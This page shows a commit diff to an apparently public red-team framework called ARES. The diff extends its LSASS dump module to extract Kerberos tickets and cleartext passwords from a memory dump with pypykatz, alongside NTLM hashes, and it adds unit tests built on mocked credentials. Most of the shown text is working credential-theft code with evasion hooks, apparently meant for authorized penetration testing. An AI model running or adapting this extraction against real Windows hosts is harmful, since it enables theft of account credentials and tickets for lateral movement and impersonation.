Skip to content

armgit / ARES

Public Imported from GitHub
0

ARES - authorized red-team engagement automation with dashboard, campaign scope, module orchestration, OPSEC controls, encrypted vault, and reporting.

fix(integrity): lsass_dump extract kerberos tickets from pypykatz (MOD-026)

Mafifrizib1303c308524
diff --git a/ares/modules/windows/lsass_dump.py b/ares/modules/windows/lsass_dump.py
index daa2d6d..a99d9ac 100644
--- a/ares/modules/windows/lsass_dump.py
+++ b/ares/modules/windows/lsass_dump.py
@@ -79,6 +79,10 @@ class LsassDumpModule(BaseModule):
MODULE_TIMEOUT_SECONDS: int | None = 300 # seconds
PARAMS_MODEL = LsassDumpParams
+ def __init__(self, *args: Any, **kwargs: Any) -> None:
+ super().__init__(*args, **kwargs)
+ self._last_kerberos_tickets: list[dict[str, Any]] = []
+
async def assess_feasibility(self, ctx: "Any") -> "FeasibilityReport":
"""
Pre-flight Defense Feasibility Assessment:
@@ -461,7 +465,7 @@ class LsassDumpModule(BaseModule):
}
raw["ntlm_hashes"] = raw.get("hashes", []) # OUTPUTS key
- raw["kerberos_tickets"] = [] # OUTPUTS key
+ raw["kerberos_tickets"] = list(getattr(self, "_last_kerberos_tickets", [])) # OUTPUTS key
await self.noise.jitter.sleep()
return self._findings[:], raw
@@ -814,15 +818,23 @@ class LsassDumpModule(BaseModule):
except Exception as exc:
logger.debug("remote_cmd_failed", error=str(exc)[:80])
- @staticmethod
- def _parse_dump(dump_path: str) -> list[dict]:
- """Parse LSASS dump with pypykatz."""
+ def _parse_dump(self_or_dump: Any, dump_path: str | None = None, raw: dict[str, Any] | None = None) -> list[dict]:
+ """Parse LSASS dump with pypykatz, extracting NTLM hashes and Kerberos tickets."""
+ if isinstance(self_or_dump, str) and dump_path is None:
+ dump_file = self_or_dump
+ instance = None
+ else:
+ instance = self_or_dump
+ dump_file = dump_path or ""
+
+ hashes: list[dict] = []
+ kerberos_tickets: list[dict] = []
try:
from pypykatz.pypykatz import pypykatz # type: ignore[import]
- mimi = pypykatz.parse_minidump_file(dump_path)
- hashes: list[dict] = []
+ mimi = pypykatz.parse_minidump_file(dump_file)
for luid in mimi.logon_sessions.values():
- for cred in (luid.msv_creds or []):
+ # Extract MSV (NTLM) credentials
+ for cred in (getattr(luid, "msv_creds", None) or []):
nt = getattr(cred, "NThash", None)
if nt and nt != "31d6cfe0d16ae931b73c59d7e0c089c0":
hashes.append({
@@ -831,7 +843,37 @@ class LsassDumpModule(BaseModule):
"nt_hash": nt,
"rid": "",
})
- return hashes
+ # Extract Kerberos credentials & tickets
+ for krb in (getattr(luid, "kerberos_creds", None) or []):
+ tpath = getattr(krb, "ticket_path", "")
+ kirbi = getattr(krb, "kirbi_hash", "") or getattr(krb, "kirbi_data", "")
+ tickets = getattr(krb, "tickets", None)
+ if tpath or kirbi:
+ kerberos_tickets.append({
+ "username": getattr(krb, "username", "") or getattr(luid, "username", ""),
+ "domain": getattr(krb, "domainname", "") or getattr(luid, "domainname", ""),
+ "ticket_path": tpath,
+ "ticket_data": kirbi,
+ })
+ elif tickets:
+ for t in tickets:
+ t_path = getattr(t, "ticket_path", "") or getattr(t, "path", "")
+ t_data = getattr(t, "kirbi_hash", "") or getattr(t, "kirbi_data", "") or getattr(t, "data", "")
+ kerberos_tickets.append({
+ "username": getattr(krb, "username", "") or getattr(luid, "username", ""),
+ "domain": getattr(krb, "domainname", "") or getattr(luid, "domainname", ""),
+ "ticket_path": t_path,
+ "ticket_data": t_data,
+ "service_name": getattr(t, "ServiceName", "") or getattr(t, "spn", ""),
+ })
+ elif getattr(krb, "password", None):
+ hashes.append({
+ "username": getattr(krb, "username", "") or getattr(luid, "username", ""),
+ "domain": getattr(krb, "domainname", "") or getattr(luid, "domainname", ""),
+ "password": getattr(krb, "password", ""),
+ "nt_hash": "",
+ "rid": "",
+ })
except ImportError:
logger.warning("pypykatz_not_installed",
hint="pip install pypykatz")
@@ -839,3 +881,13 @@ class LsassDumpModule(BaseModule):
except Exception as exc:
logger.warning("pypykatz_parse_failed", error=str(exc)[:100])
return []
+
+ if instance is not None:
+ if hasattr(instance, "_last_kerberos_tickets"):
+ instance._last_kerberos_tickets = kerberos_tickets
+ elif not isinstance(instance, type):
+ setattr(instance, "_last_kerberos_tickets", kerberos_tickets)
+
+ if raw is not None:
+ raw["kerberos_tickets"] = kerberos_tickets
+ return hashes
diff --git a/tests/unit/modules/test_lsass_dump_kerberos_mod026.py b/tests/unit/modules/test_lsass_dump_kerberos_mod026.py
new file mode 100644
index 0000000..08df123
--- /dev/null
+++ b/tests/unit/modules/test_lsass_dump_kerberos_mod026.py
@@ -0,0 +1,148 @@
+"""
+Tests for MOD-026: lsass_dump real Kerberos ticket extraction from pypykatz.
+Verifies:
+1. _parse_dump populates raw["kerberos_tickets"] when pypykatz returns kerberos_creds.
+2. raw["kerberos_tickets"] is empty when pypykatz returns no kerberos_creds.
+3. run() raw["kerberos_tickets"] reflects the extracted tickets.
+"""
+
+from unittest.mock import MagicMock, patch
+import os
+import sys
+import tempfile
+import pytest
+
+from ares.core.campaign import Campaign, NoiseProfile, ScopeEntry
+from ares.core.config import AresSettings
+from ares.core.noise import NoiseController
+from ares.modules.windows.lsass_dump import LsassDumpModule
+
+
+def _make_module():
+ settings = AresSettings(
+ ares_secret_key="test-secret-key-32chars-minimum!!",
+ ares_encryption_key="test-encryption-key-32chars-min!!",
+ )
+ campaign = Campaign(
+ name="LSASS-MOD026-Test",
+ operator="test_operator",
+ scope=[ScopeEntry(cidr="10.0.0.0/24")],
+ noise_profile=NoiseProfile.NORMAL,
+ )
+ noise = NoiseController(campaign)
+ return LsassDumpModule(settings=settings, campaign=campaign, noise=noise)
+
+
+def test_parse_dump_extracts_kerberos_tickets():
+ """Verify _parse_dump extracts kerberos tickets from luid.kerberos_creds into raw."""
+ mod = _make_module()
+
+ mock_mimi = MagicMock()
+ mock_luid = MagicMock()
+
+ # MSV cred
+ mock_msv = MagicMock()
+ mock_msv.username = "Administrator"
+ mock_msv.domainname = "CORP"
+ mock_msv.NThash = "aad3b435b51404eeaad3b435b51404ee"
+ mock_luid.msv_creds = [mock_msv]
+
+ # Kerberos cred with tickets
+ mock_krb = MagicMock()
+ mock_krb.username = "Administrator"
+ mock_krb.domainname = "CORP.LOCAL"
+ mock_krb.ticket_path = "C:\\Windows\\Temp\\ticket.kirbi"
+ mock_krb.kirbi_hash = "6a5b4c3d2e1f..."
+ mock_krb.tickets = []
+ mock_luid.kerberos_creds = [mock_krb]
+
+ mock_mimi.logon_sessions = {1234: mock_luid}
+
+ mock_pypykatz = MagicMock()
+ mock_pypykatz.parse_minidump_file.return_value = mock_mimi
+
+ mock_modules = {
+ "pypykatz": MagicMock(),
+ "pypykatz.pypykatz": MagicMock(pypykatz=mock_pypykatz),
+ }
+
+ raw = {}
+ with patch.dict(sys.modules, mock_modules):
+ hashes = mod._parse_dump("dummy.dmp", raw=raw)
+
+ assert len(hashes) == 1
+ assert hashes[0]["username"] == "Administrator"
+ assert hashes[0]["nt_hash"] == "aad3b435b51404eeaad3b435b51404ee"
+
+ assert len(raw["kerberos_tickets"]) == 1
+ ticket = raw["kerberos_tickets"][0]
+ assert ticket["username"] == "Administrator"
+ assert ticket["domain"] == "CORP.LOCAL"
+ assert ticket["ticket_path"] == "C:\\Windows\\Temp\\ticket.kirbi"
+ assert ticket["ticket_data"] == "6a5b4c3d2e1f..."
+ assert mod._last_kerberos_tickets == raw["kerberos_tickets"]
+
+
+def test_parse_dump_empty_when_no_kerberos_creds():
+ """Verify raw['kerberos_tickets'] is empty when pypykatz has no kerberos creds."""
+ mod = _make_module()
+
+ mock_mimi = MagicMock()
+ mock_luid = MagicMock()
+
+ # MSV cred only
+ mock_msv = MagicMock()
+ mock_msv.username = "Administrator"
+ mock_msv.domainname = "CORP"
+ mock_msv.NThash = "aad3b435b51404eeaad3b435b51404ee"
+ mock_luid.msv_creds = [mock_msv]
+ mock_luid.kerberos_creds = []
+
+ mock_mimi.logon_sessions = {1234: mock_luid}
+
+ mock_pypykatz = MagicMock()
+ mock_pypykatz.parse_minidump_file.return_value = mock_mimi
+
+ mock_modules = {
+ "pypykatz": MagicMock(),
+ "pypykatz.pypykatz": MagicMock(pypykatz=mock_pypykatz),
+ }
+
+ raw = {}
+ with patch.dict(sys.modules, mock_modules):
+ hashes = mod._parse_dump("dummy.dmp", raw=raw)
+
+ assert len(hashes) == 1
+ assert len(raw["kerberos_tickets"]) == 0
+ assert mod._last_kerberos_tickets == []
+
+
+async def test_run_populates_extracted_kerberos_tickets():
+ """Verify run() outputs raw['kerberos_tickets'] reflecting extracted tickets."""
+ mod = _make_module()
+
+ fake_extracted_tickets = [
+ {
+ "username": "svc_sql",
+ "domain": "CORP.LOCAL",
+ "ticket_path": "C:\\Temp\\sql.kirbi",
+ "ticket_data": "abcdef123456",
+ }
+ ]
+ fake_hashes = [{"username": "svc_sql", "nt_hash": "31d6cfe0d16ae931b73c59d7e0c089c1", "rid": ""}]
+
+ with patch.object(mod, "_check_lsass_protections_sync", return_value={"runasppl": False, "credential_guard": False, "vbs": False}), \
+ patch.object(mod, "_comsvcs_dump_sync", return_value=fake_hashes), \
+ patch.object(mod, "before_request"):
+
+ mod._last_kerberos_tickets = fake_extracted_tickets
+
+ findings, raw = await mod.run(
+ target="10.0.0.10",
+ username="Administrator",
+ password="Password123!",
+ )
+
+ assert raw["kerberos_tickets"] == fake_extracted_tickets
+ assert len(raw["ntlm_hashes"]) == 1